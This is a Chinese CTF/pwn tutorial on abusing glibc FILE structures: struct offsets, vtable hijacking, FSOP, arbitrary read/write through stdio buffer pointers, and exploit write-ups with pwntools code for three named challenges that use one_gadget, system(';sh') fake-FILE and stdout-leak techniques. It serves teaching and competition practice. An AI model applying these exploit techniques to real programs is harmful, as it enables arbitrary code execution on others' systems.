IO file结构在pwn中的妙用 | 安全师

IO file结构在pwn中的妙用

释放双眼,带上耳机,听听看~!

基本数据结构

  • glibc通过fopen函数调用为用户返回一个FILE的描述符,该FILE实际是一个结构体。该结构被一系列流函数操作。该结构体大致分为三部分

    • _flags文件流的属性标志(fopen的mode参数决定)
    • 缓冲区(为了减少io的syscall掉用)
    • 文件描述符(文件流的唯一性,例如stdin=0,stout = 1)
    struct _IO_FILE {
      int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
    #define _IO_file_flags _flags
    
      /* The following pointers correspond to the C++ streambuf protocol. */
      /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
      char* _IO_read_ptr;    /* Current read pointer */
      char* _IO_read_end;    /* End of get area. */
      char* _IO_read_base;    /* Start of putback+get area. */
      char* _IO_write_base;    /* Start of put area. */
      char* _IO_write_ptr;    /* Current put pointer. */
      char* _IO_write_end;    /* End of put area. */
      char* _IO_buf_base;    /* Start of reserve area. */
      char* _IO_buf_end;    /* End of reserve area. */
      /* The following fields are used to support backing up and undo. */
      char *_IO_save_base; /* Pointer to start of non-current get area. */
      char *_IO_backup_base;  /* Pointer to first valid character of backup area */
      char *_IO_save_end; /* Pointer to end of non-current get area. */
    
      struct _IO_marker *_markers;
    
      struct _IO_FILE *_chain;
    
      int _fileno;
    #if 0
      int _blksize;
    #else
      int _flags2;
    #endif
      _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
    
    #define __HAVE_COLUMN /* temporary */
      /* 1+column number of pbase(); 0 is unknown. */
      unsigned short _cur_column;
      signed char _vtable_offset;
      char _shortbuf[1];
    
      /*  char* _save_gptr;  char* _save_egptr; */
    
      _IO_lock_t *_lock;
    #ifdef _IO_USE_OLD_IO_FILE
    };
    
    struct _IO_FILE_complete
    {
      struct _IO_FILE _file;
    #endif
    #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
      _IO_off64_t _offset;
    # if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
      /* Wide character stream stuff.  */
      struct _IO_codecvt *_codecvt;
      struct _IO_wide_data *_wide_data;
      struct _IO_FILE *_freeres_list;
      void *_freeres_buf;
    # else
      void *__pad1;
      void *__pad2;
      void *__pad3;
      void *__pad4;
    # endif
      size_t __pad5;
      int _mode;
      /* Make sure we don't get into trouble again.  */
      char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
    #endif
    };
    
  • 但实际上,glibc会在FILE结构外包一层IO_FILE_plus结构,就是多了一个vtable(虚拟函数表,类似C++虚拟函数表)

    struct _IO_FILE_plus
    {
      FILE file;
      const struct _IO_jump_t *vtable;
    };
    
  • 其中vtable保存着标准流函数底层调用的函数指针(32bit下在FILE结构偏移0x94处,64bits下在偏移0xd8处)

    void * funcs[] = {
          JUMP_FIELD(size_t, __dummy);
        JUMP_FIELD(size_t, __dummy2);
        JUMP_FIELD(_IO_finish_t, __finish);
        JUMP_FIELD(_IO_overflow_t, __overflow);
        JUMP_FIELD(_IO_underflow_t, __underflow);
        JUMP_FIELD(_IO_underflow_t, __uflow);
        JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
        /* showmany */
        JUMP_FIELD(_IO_xsputn_t, __xsputn);
        JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
        JUMP_FIELD(_IO_seekoff_t, __seekoff);
        JUMP_FIELD(_IO_seekpos_t, __seekpos);
        JUMP_FIELD(_IO_setbuf_t, __setbuf);
        JUMP_FIELD(_IO_sync_t, __sync);
        JUMP_FIELD(_IO_doallocate_t, __doallocate);
        JUMP_FIELD(_IO_read_t, __read);
        JUMP_FIELD(_IO_write_t, __write);
        JUMP_FIELD(_IO_seek_t, __seek);
        JUMP_FIELD(_IO_close_t, __close);
        JUMP_FIELD(_IO_stat_t, __stat);
        JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
        JUMP_FIELD(_IO_imbue_t, __imbue);
    #if 0
        get_column;
        set_column;
    #endif
    };
    
  • IO_FILE_plus各种偏移

    0x0   _flags
    0x8   _IO_read_ptr
    0x10  _IO_read_end
    0x18  _IO_read_base
    0x20  _IO_write_base
    0x28  _IO_write_ptr
    0x30  _IO_write_end
    0x38  _IO_buf_base
    0x40  _IO_buf_end
    0x48  _IO_save_base
    0x50  _IO_backup_base
    0x58  _IO_save_end
    0x60  _markers
    0x68  _chain
    0x70  _fileno
    0x74  _flags2
    0x78  _old_offset
    0x80  _cur_column
    0x82  _vtable_offset
    0x83  _shortbuf
    0x88  _lock
    //IO_FILE_complete
    0x90  _offset
    0x98  _codecvt
    0xa0  _wide_data
    0xa8  _freeres_list
    0xb0  _freeres_buf
    0xb8  __pad5
    0xc0  _mode
    0xc4  _unused2
    0xd8  vtable
    

攻击思路

  • ##### 针对vtable的利用思路

    • 改写vtable的函数指针,触发任意代码执行
    • 伪造vtable,即改写IO_FILE_plus的vtable指针指向我们的fake_vtable,在fake_vtable里布置我们的恶意操作函数。
    • 伪造整个FILE结构。
  • ##### FSOP(File-Stream-Oriented-Programming)

    • 由于所有的FILE结构是通过链表链接的。我们可以控制链表结构,伪造整个文件链。
      • _chain
      • _IO_list_all
    • 执行函数_IO_flush_all_lockp,会flush表上的所有的FILE。通过控制一些量,可以达到任意代码执行的目的。该函数会在以下情况下自行调用。
      • 产生abort时
      • 执行exit函数时
      • main函数返回时
  • ##### 高级利用方式(任意地址读、写)

    • 由于gblic的更新,很多对vtable的攻击方式不再适用,换个思路。不再只看向vtable,而是转向stream_buffer。
    • 通过控制_fileno,read_ptr、等等指针我们可以实现任意地址读和任意地址写操作。
  • #### IO缓冲区的攻击

    • ##### 利用fwrite进行任意地址读

      • 对目的fp的设置,以及绕过。

        • 设置_fileno为stdout,泄露信息到stdout。
        • 设置_flags & ~ IO_NO_WRITE
        • 设置_flags |= IO_CURENTLY_PUTTING
        • 设置 write_base指向leaked地址的起始,write_ptr指向leaked地址的结束。
        • 设置_IO_read_end == IO_wrie_base。
      • 相关的检查

        • _flags & ~ IO_NO_WRITE、__flags |= IO_currently_putting设置
        if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
            {
             ..........................
          }
            }
          else if (f->_IO_write_end > f->_IO_write_ptr)
            count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
        
          /* Then fill the buffer. */
          if (count > 0)
            {
           ......................
            }
          if (to_do + must_flush > 0)
            {
            ...................................
              if (do_write)
          {
            count = old_do_write (f, s, do_write);
            to_do -= count;
            if (count < do_write)
              return n - to_do;
          }
        
        • _IO_read_end == _IO_write_base检查

          if (fp->_flags & _IO_IS_APPENDING)
               /* On a system without a proper O_APPEND implementation,
                      you would need to sys_seek(0, SEEK_END) here, but is
                      not needed nor desirable for Unix- or Posix-like systems.
                      Instead, just indicate that offset (before and after) is
                      unpredictable. */
                   fp->_old_offset = _IO_pos_BAD;
                 else if (fp->_IO_read_end != fp->_IO_write_base)
                   {
                     off_t new_pos
                   = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
                     if (new_pos == _IO_pos_BAD)
                   return 0;
                     fp->_old_offset = new_pos;
                   }
          
  • 样例
    #include <stdio.h>
    int main()
    {
        char *msg = "treebacker";
        FILE* fp;
        char *buf = malloc(100);
        read(0, buf, 100);
        fp = fopen("key.txt", "rw");
        fp->_flags &= ~8;
        fp->_flags |= 0x800;
        fp->_IO_write_base = msg;
        fp->_IO_write_ptr = msg+10;
        fp->_IO_read_end = fp->_IO_write_base;
        fp->_fileno = 1;
        fwrite(buf, 1, 100, fp);/*leak msg*/
    }
    

结果会输出msg的内容,而不是buf的内容。且是输出到stdout。

  • ##### 利用fread函数任意地址写。

    • 绕过检查的设置

      • _fileno = stdin(从stdin读入)

        _flags &= ~ _IO_NO_READS(可写入)

      • read_ptr = read_base = null

      • buf_base指向写入的始地址;buf_end指向写入的末地址。

      • 需要 buf_end - buf_base < fread'd size(允许写入足够的数据)

        • 相关的检查代码
      • read_ptr = read_base = null。

      while (want > 0)
         {
           have = fp->_IO_read_end - fp->_IO_read_ptr;
      
           //缓冲区的内容已经足够,直接memcpy过去。
           if (want <= have)
       {
         memcpy (s, fp->_IO_read_ptr, want);
         fp->_IO_read_ptr += want;
         want = 0;
       }
         ........................
      }
         /* If we now want less than a buffer, underflow and repeat
            the copy.  Otherwise, _IO_SYSREAD directly to
            the user buffer. */
         if (fp->_IO_buf_base
             && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
           {
             if (__underflow (fp) == EOF)
           break;
      
             continue;
           }
      
    • 样例

    #include <stdio.h>
    int main()
    {
      FILE* fp;
      char *buf = malloc(100);
      char msg[100];
      fp = fopen("key.txt", "r");
      fp->_flags &= ~4;
      fp->_IO_buf_base = msg;
      fp->_IO_buf_end = msg+100;
      fp->_fileno = 0;
      fread(buf,1,6,fp);          //read to msg
      puts(msg);
    }
    

    结果,我们会发现输入的内容存于msg中。

    • 当程序中不存在任何的文件操作时,要知道我们一直用的标准输入输出函数也可以利用。
      • scanf/printf/gets/puts;这些函数最终会调用底层的read和write函数。
      • 他们的文件描述符时stdin、stdout。
      • 覆写缓冲区指针,仍可以任意地址写、读。

实战

  • ##### 2018 HCTF the_end

    • 漏洞分析,存在一个任意地址写漏洞,可以5次,每次1byte。

    • 利用思路A

      • 利用IO FILE,在exit之后,会调用file_list_all里的函数setbuf。如果我们可以伪造setbuf为one_gadgets就可以利用。

      • 坑点1,寻找vtables在libc.so文件的偏移(存储vtbales地址的地址)。

        • 下面的都是假的

        • 这个才是真的

      • 坑点2,伪造vtables。需要满足我们能够写入的字节数目,在真实的vtables附近寻找。且0x68偏移的位置的值与one_gadget值相差3byte内。

    • exp记录

      ```python
      vtables_addr = libc_base + 0x3c56f8
      one_gadget = libc_base + 0x45216

      fake_vtables = libc_base + 0x3c5588
      target_addr = fake_vtables + 0x58 #setbuf

      print "one_gadget ==> " + hex(one_gadget)
      print "vtables ==> " + hex(vtables_addr)
      print "fake_vtables ==> " + hex(fake_vtables)
      print "target_addr ==> " + hex(target_addr)

      dbg()
      p.recvline()
      for i in range(2): #make a fake_vtables
      p.send(p64(vtables_addr+i))
      p.send(p64(fake_vtables)[i])

for i in range(3):                              #make setbuf is one_gadget
    p.send(p64(target_addr+i))
    p.send(p64(one_gadget)[i])
```
  • 利用思路B

    • 利用exit函数退出时会调用_dl_fini_函数,里面会有一个函数指针,_rtdl_global的一个偏移。调试获得之后,改写这里为one_gadget即可。

      # call   QWORD PTR [rip+0x216414]        # 0x7ffff7ffdf48 <_rtld_global+3848>
      target = libc.address + 0x5f0f48
      
      sleep(0.1)
      
      for i in range(5):
          p.send(p64(target + i))
          sleep(0.1)
          p.send(one_gadget[i])
      
  • ##### pwntable的seethefile

    • 漏洞分析,name字段scanf存在溢出,可以覆盖fd,伪造一个FILE结构。可以利用flush或者close达到任意代码执行的目的。

    • 利用过程

      • 伪造file结构

        • 设置_flags & 0x2000 = 0
      • 设置read_ptr为";sh"
    • 伪造vtable,设置flush字段为system

    • exp记录

    name = 'a'*0x20
    name += p32(fake_file_addr)       #*fd = fake_file_addr
    
    #padding
    fake_file = "\x00" * (fake_file_addr - fd_addr -4)
    
    #file struct
    fake_file += ((p32(0xffffdfff) + ";sh").ljust(0x94, '\x00'))
    
    #fake vtable_addr
    fake_file += p32(fake_file_addr + 0x98)   
    
    #fake_vtables     
    fake_file += p32(system_addr)*21
    exit(name + fake_file)
    
  • BUUCTF ciscn_2019_en_3

    • 这是个ubuntu18下面的堆利用。(前面记录过的Tcache机制)

      • 漏洞分析,程序只提供了add和delete功能(edit和show是无效的)。其中add操作虽然没有溢出,但却是对输入无截断的。

      • 漏洞在delete下,存在double free(dup)

    • 利用思路

      • 这题最重要在于如何泄露libc地址。由于没有可以正常输出chunk内容的方式,一般向这种直接没办法正常输出的,就是需要IO登场了。
      • 输出,自然是s在stdout上做文章。
      • 最终,我们只需要改写_IO_write_base,指向一个地址,该地址可以泄露出__IO_file_jumps地址。
    • 利用过程(exp详解)

      • 利用unsorted bin和tcache重叠(错位)的过程中,写入tcache第一个chunk的fd指向main_arena。和stdout相差就是偏移的差别,完全可以爆破。

        prepare()
          add(0x80, '0000')
          add(0x80, '1111')
          add(0x80, '2222')
          add(0x80, '3333')
          add(0x80, '4444')
          add(0x80, '5555')
          add(0x80, '6666')
          add(0x80, '7777')
          add(0x80, '8888')           #avoid consilate with top chunk
        
          #fill the tcache
          for i in range(7):
              delete(i)
        
          gdb.attach(p, 'b printf')
          dbg()
          #free into unsorted bin
          delete(7)
          #double free 6, 5 which is near to idx7, into unsorted bin,
          delete(6)               
          delete(5)
        

        此时,unsorted bin和tcache已经存存在重叠。

      • 再请求chunk,这一次使得我们可以写入tcache的fd指针。

        add(0xa0, 'a'*0x90 + '\x60\x87') #idx8 from unsorted bin idx5\6,  overwrite                               #idx5's fd is stdout
        

        可以看到,tcache的fd指针已经改写了;发现我们伪造的和stdout不一样,没关系,在调试的时候,可以手动改一下。set {unsigned int}addr=value

      • 分配两次两次,可以得到stdout的chunk。

      • 我们先看一看stdout的结构。

        注意,上面标注的1的位置就是_IO_write_base,2是__IO_file_jumps的位置。换句话说,我们把1低位覆盖为0,就可以泄露libc地址。

        #get a chunk from points to stdout
          add(0x80, p64(0xfbad1800) + p64(0)*3 + '\x00')  #idx10 change _flags, _IO_write_base                    
        
          data = p.recv(0x60)
          leak = u64(data[0x58:])                                 #io_file jump
          print "leak ==> " + hex(leak)
        

        _flags和其他检查的绕过根据上面提到的利用fwrite任意读来构造。

        已经可以拿到了libc地址。

      • 其他的就是和double dup一样的操作拿到shell。这里有个坑就是,不可以继续add和tcache存有同样大小的chunk,因为我们改过fd导致后面的chunk都是不合法的,会触发异常。具体地,调试的时候注意调整。

学习链接

本文来自先知社区

相关文章

人已赞赏
安全教程

2019神盾杯上海市网络安全竞赛Web题解

2019-11-25 19:57:58

安全教程

Google V8引擎的CVE-2018-17463漏洞分析

2019-11-25 19:58:02

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
有新消息 消息中心
搜索